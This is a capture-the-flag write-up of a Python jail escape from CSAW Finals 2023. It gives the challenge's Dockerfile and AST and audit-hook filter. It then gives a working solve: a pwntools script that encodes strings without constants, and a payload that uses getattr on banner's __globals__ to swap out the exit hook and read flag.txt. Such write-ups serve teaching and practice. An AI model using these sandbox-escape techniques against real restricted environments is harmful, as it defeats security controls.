Skip to main content
  1. Posts/

Python Jail Escape CSAW Finals 2023

Python jail escapes have evolved into their own CTF category over the past years. I recently gave a talk and wrote a blog post for my CTF team, where I give an introduction to the topic and show some classical examples. CSAW CTF finals I played with team polyflag, overall the CTF was pretty mid with a lot of guessing and an unacceptable required VPN setup, where we had to install some random VPN client on our machines (with sudo curl ... | bash of course) and then had to authenticate with a Google, LinkedIn, Microsoft or GitHub account.

Well, their challenge Python Garbageman also did not go to plan, and I found an unintended solution. Still, there are a few learnings from the challenge worth writing up. The challenge provides a Dockerfile

FROM ubuntu:22.04@sha256:2b7412e6465c3c7fc5bb21d3e6f1917c167358449fecac8176c6e496e5c1f05f

RUN apt-get update && apt-get install -y socat python3

RUN useradd -ms /bin/sh pyjail
WORKDIR /home/pyjail

COPY ./chall.py ./
COPY ./flag.txt /home/pyjail/flag.txt

RUN chown -R root:pyjail /home/pyjail && \
     chmod 750 /home/pyjail && \
     chmod 550 /home/pyjail/chall.py && \
     chown root:pyjail /home/pyjail/flag.txt && \
     chmod 444 /home/pyjail/flag.txt

EXPOSE 13336

CMD ["socat", "-T60", "TCP-LISTEN:13336,reuseaddr,fork,su=pyjail","EXEC:/home/pyjail/chall.py 2>&1"]

and chall.py

#!/usr/bin/env python3
import ast
import sys

BANNED = {
    #def not
    ast.Import,
    ast.ImportFrom,
    ast.With,
    ast.alias,
    ast.Attribute,
    ast.Constant,

    #should be fine?
    ast.Subscript,
    ast.Assign,
    ast.AnnAssign,
    ast.AugAssign,
    ast.For,
    ast.Try,
    ast.ExceptHandler,
    ast.With,
    ast.withitem,
    ast.FunctionDef,
    ast.Lambda,
    ast.ClassDef,


    #prob overkill but should be fine
    ast.If,
    ast.And,
    ast.comprehension,
    ast.In,
    ast.Await,
    ast.Global,
    ast.Gt,
    ast.ListComp,
    ast.Slice,
    ast.Return,
    ast.List,
    ast.Dict,
    ast.Lt,
    ast.AsyncFunctionDef,
    ast.Eq,
    ast.keyword,
    ast.Mult,
    ast.arguments,
    ast.FormattedValue,
    ast.Not,
    ast.BoolOp,
    ast.Or,
    ast.Compare,
    ast.GtE,
    ast.ImportFrom,
    ast.Tuple,
    ast.NotEq,
    ast.IfExp,
    ast.alias,
    ast.UnaryOp,
    ast.arg,
    ast.JoinedStr,
}

myExit = exit

def gadget(a,b):
    a.myExit=b

def hook(event, args):
    if not hook.exec and 'exec' in event:
        hook.exec = True
        return

    strr = event + " ".join(f"{x}" for x in args)
    strr = strr.lower()
    if any(i in strr for i in [
        'exec',
        'print',
        'import', #this is faulty
        'system', 
        'flag', 
        'spawn',
        'fork', 
        'open', 
        'subprocess', 
        'sys',
        'ast', 
        'os',
        'audit',
        'hook'
        'compile',
        '__new__',
        'frame']):
        pass
        print("BONK audit!", event + " " + " ".join(f"{x}" for x in args))
        print('calling myExit', type(myExit), myExit)
        myExit()
    pass
    print("audit!", event + " ".join(f"{x}" for x in args))

hook.exec = False

def banner():
    print("Hello world! Please input your program here: ")

    code = ""
    out = ""
    while "__EOF__" not in out:
        code += out + "\n"
        out = input("")

    for n in ast.walk(ast.parse(code)):
        if type(n) in BANNED:
            print("BAD CODE! BONK!: " + str(type(n)))
            # exit()
    
    return code


code = banner()
print('\nmyexit outside', id(myExit))
print('\nbuiltins outside', id(__builtins__))
code = compile(code, "<CSAW23>", "exec")

# safer 
sys.addaudithook(hook)

exec(code, {"__builtins__":__builtins__, "gadget": gadget, "banner": banner})

Let’s analyse what is going on here. It starts with calling banner, which first reads in python code. Second it traverses the AST and checking that no BANNED AST node is persent. Next it installs a listener hook for audit hooks.

Audit hooks are an interesting concept that trigger for any potentially critical operation such as import, open, exec, and many more. The audit hook events of the CPython implementation are specified in the Audit events table. Audit hooks (PEP 578) are meant to trigger whereever an event occurs at runtime, no matter how deep in an API and even in native bindings. While this is a pretty nice API, I would access this as a best effort service that I would not trust to fully work for any edge case or obscure package.

The challenge checks for the occurrence of some critical events.

The code is then execed. Notably, we get all builtins and the functions gadget and banner. However, my solution didn’t even use gadget I could rewrite it to not use banner.

Let’s see what we can do, to work around the restrictions. Taking the set difference of banned and the dict of the ASt module, we allowed every to only use the AST nodes that occur in:

{'unaryop', '_Unparser', 'RShift', '_dims_getter', 'Delete', 'dump', 'NodeTransformer', 'loader', 'get_sourcesegment', 'SINGLE_QUOTES', 'Num', 'walk', 'NamedExpr', 'NameConstant', 'MatchOr', 'LtE', 'Del', 'Store', 'Break', 'ExtSlice', 'Ellipsis', 'IntEnum', 'increment_lineno', 'AsyncWith', 'sys', 'stmt', 'file', 'expr', 'Interactive', 'AugLoad', 'Index', 'TryStar','Expr', 'Yield', 'match_case', 'contextmanager', 'fix_missing_locations', '_getter', 'unparse', '_dims_setter', 'MatchValue','FloorDiv', 'PyCF_TYPE_COMMENTS', 'YieldFrom', 'Is', 'Pow', 'literal_eval', '_new', '_ALL_QUOTES', 'operator', '_ABC', 'Match', 'Set', 'cached', '_const_types_not', 'Bytes', 'FunctionType', 'nullcontext', 'auto', 'IsNot', 'TypeIgnore', 'MatchClass', 'Call', 'get_docstring', 'MatchStar', 'Expression', 'excepthandler', 'Starred', 'Param', 'Sub', 'NotIn', 'name', 'MatchSequence', 'Raise', 'parse', 'AugStore', 'BinOp', 'AST', 'Name', 'USub', 'UAdd', '_Precedence', 'BitAnd', '_INFSTR', '_const_types', 'copy_location', '_simple_enum', 'doc', 'MatchAs', 'builtins', 'spec', 'type_ignore', 'Str', 'Nonlocal', 'cmpop', 'main', 'iter_child_nodes', 'MatMult', 'Mod', 'Module', 'BitXor', 'GeneratorExp', 'Load', '_setter', 'Assert', 'boolop', 'slice', '_const_node_type_names', '_splitlines_no_ff', 'expr_context', '_MULTI_QUOTES', 'NodeVisitor', 'BitOr', 'package', 'Div', 'Continue', 'PyCF_ALLOW_TOP_LEVEL_AWAIT', 'AsyncFor', 'MatchMapping', 'LShift', 'pattern', 'DictComp', 'mod', 'SetComp', 'Invert', '_pad_whitespace', 'While', 'MatchSingleton', 'PyCF_ONLY_AST', 'iter_fields', 'Suite', 'Pass', 'Add'}

Annoyingly, we are not allowed to use constants. However, we have all builtins and can build our constants ourselves. We get a number, specifically the number three from.

len(dir())

With add we can have all multiples of three. To get all natural numbers also a one would be nice to have. We get this with

pow(len(dir()), len(set()))

With chr and add on strings we can construct arbitrary strings. In the final solve I only use strings, so this low effort code replaces all string literals with this construction and sends it to the remote.

import pwn
import re

# p = pwn.remote('localhost', 13336)
p = pwn.remote('mandf.csaw.io', 13336)
with open('payload.py', 'rb') as f:
    payload = f.read().decode()

strings = re.findall("'(.*?)'", payload)
for string in set(strings):
    string_replace = []
    for c in string:
        o = ord(c)
        thress = o // 3
        ones = o % 3
        thress_replacements = ['len(dir())'] * thress
        ones_replacements = ['pow(len(dir()), len(set()))'] * ones
        c_replace = 'chr(' + ' + '.join([*thress_replacements, *ones_replacements]) + ')'
        string_replace.append(c_replace)
    string_replace = ' + '.join(string_replace)
    payload = payload.replace(f"'{string}'", string_replace)

print(payload)


p.sendlineafter(b'here: ', payload.encode())
p.sendline(b'__EOF__')
print(p.recvall(1).decode())

Okay, next we are not allowed to access attributes (i.e. using bla.blub). Here I first used Python 3.10 matching, but I didn’t even need to in the final solve, because getattr is more convenient. For example, we can get the __globals__ of the parent scope by doing getattr on the banner function.

getattr(banner, '__globals__')

Okay, this is something to work with. When we trigger a forbidden event at runtime, the parent code calls myExit which is assigned to be exit. We need to find a way to prevent the code from exiting. The idea is to reassign myExit with a NOP. The NOP at our disposal is bool(). It has no side effects and takes no arguments. The plan for the reassignment is to replace myExit in the __globals__ of the parent. __globals__ is a dict, but we are not allowed to access it using subscript (i.e. __globals__['myExit'] = bool()). Instead, we use pop and setdefault to do this. Again, we use getattr to this time obtain a function, we can directly call. It is still bound to that object.

With that we can disable myExit, open, read, and print the flag.

getattr(getattr(banner, '__globals__'), 'pop')('myExit')
getattr(getattr(banner, '__globals__'), 'setdefault')('myExit', bool)

print(getattr(open('flag.txt', 'r'), 'read')())